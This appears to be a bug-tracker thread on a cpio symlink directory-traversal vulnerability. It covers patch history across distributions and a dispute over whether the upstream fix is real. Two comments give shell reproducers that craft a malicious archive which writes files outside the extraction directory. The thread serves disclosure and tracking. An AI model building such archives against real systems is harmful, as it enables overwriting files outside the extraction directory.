It was reported [1] that cpio is susceptible to a directory traversal vulnerability. Original report follows: ... While extracting an archive, it will extract symlinks and then follow them if they are referenced in further entries. This can be exploited by a rogue archive to write files outside the current directory. Example: 1) create a sample archive: ln -s /tmp dir echo dir | cpio -oF test.cpio rm dir mkdir dir echo hello > dir/file echo dir/file | cpio -oAF test.cpio rm -r dir 2) test it: cpio --no-absolute-filenames -ivF test.cpio This will create a symlink "dir" in the current directory and a file "/tmp/file". ... No patches are available at this time. [1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774669
Analysis ======== This attack requires to social engineer the user to open the cpio archive, impact of this is low.
Suse created a patch for this, attached at: https://bugzilla.suse.com/show_bug.cgi?id=658010
Created cpio tracking bugs for this issue: Affects: fedora-all [bug 1188590]
*** Bug 1539685 has been marked as a duplicate of this bug. ***
I have created a more complete reproducer: ============================================= # PHASE 0: installation of required packages dnf install -yq cpio tree # PHASE 1: Directory tree setup rm -rf CPIO-REPRODUCER-PARENT-DIRECTORY mkdir CPIO-REPRODUCER-PARENT-DIRECTORY pushd CPIO-REPRODUCER-PARENT-DIRECTORY mkdir CPIO-REPRODUCER-CHILD-DIRECTORY cd CPIO-REPRODUCER-CHILD-DIRECTORY # PHASE 2: Archive crafting ln -s ../ dir echo dir | cpio -oF test.cpio unlink dir mkdir dir echo hello > dir/file echo dir/file | cpio -oAF test.cpio rm -rf dir # PHASE 3: execution cpio --no-absolute-filenames -ivF test.cpio # PHASE 4: display of result popd tree CPIO-REPRODUCER-PARENT-DIRECTORY ============================================= On vulnerable systems, a file will escape the CHILD directory and will appear in the PARENT directory like this: CPIO-REPRODUCER-PARENT-DIRECTORY ├── CPIO-REPRODUCER-CHILD-DIRECTORY │ ├── dir -> ../ │ └── test.cpio └── file On safe systems, extracted data will be contained in the CHILD directory: CPIO-REPRODUCER-PARENT-DIRECTORY └── CPIO-REPRODUCER-CHILD-DIRECTORY ├── dir -> ../ └── test.cpio ============================================= I used a relative path ('..') for the symlink, instead of absolute ('/tmp'). As I understand this CVE, it is irrelevant. The point is escaping outside of the directory tree the archive is extracted in. ============================================= This issue has been found in 2015 and from what I found the upstream responsiveness was little to none. During the years, there were apparently several attempts to create a fix. Either downstream: Suze and Debian created and applied downstream patch in 2015 or upstream first attempt in 2019: https://git.savannah.gnu.org/cgit/cpio.git/commit/?id=45b0ee2b407913c533f7ded8d6f8cbeec16ff6ca and a (at this time beleived to be) proper fix in 2023: https://git.savannah.gnu.org/cgit/cpio.git/commit/?id=376d663340a9dc91c91a5849e5713f07571c1628 The last mentioned upstream fix has been released with cpio-2.14 (as per https://bugzilla.redhat.com/show_bug.cgi?id=1188590#c10 ) and it has been applied to Fedora 39 and later. RHEL 7, 8 and 9 are still vulnerable to this day and it seems no RHBZ or JIRA tracker exists for these distributions, with exception of RHEL 9, which tracker was added in the previous comment. Red Hat evaluated the impact of this CVE as 'low' and never fixed the issue in RHEL 7, 8 and 9, soon to be 10 years.
The Fedora clone of this CVE has been closed as fixed. But after further consideration, I believe that it does not reflect reality. This CVE, as I understand it, is about escaping outside of the directory tree the archive is extracted in. The escape is still possible, even after the latest upstream fix, and it is even possible with the default behavior / configuration of the `cpio`. What the upstream did, is that they fix the cpio '--no-absolute-filenames' option, so when this specific option is used, it does prevent this attack. However the upstream considers the principle of the attack as expected behavior and does not consider it a CVE in the same way Red Hat does. https://bugzilla.redhat.com/show_bug.cgi?id=2249901#c8 I would classify the upstream "fix" of the CVE as a "workaround" instead from the Red Hat point of view. What I call "workaround" is what upstream directly recommends as a mitigation of this problematic behavior (this CVE) So I suggest to update the clone to reflect that - make it as "Won't Fix" again, but describe a workaround.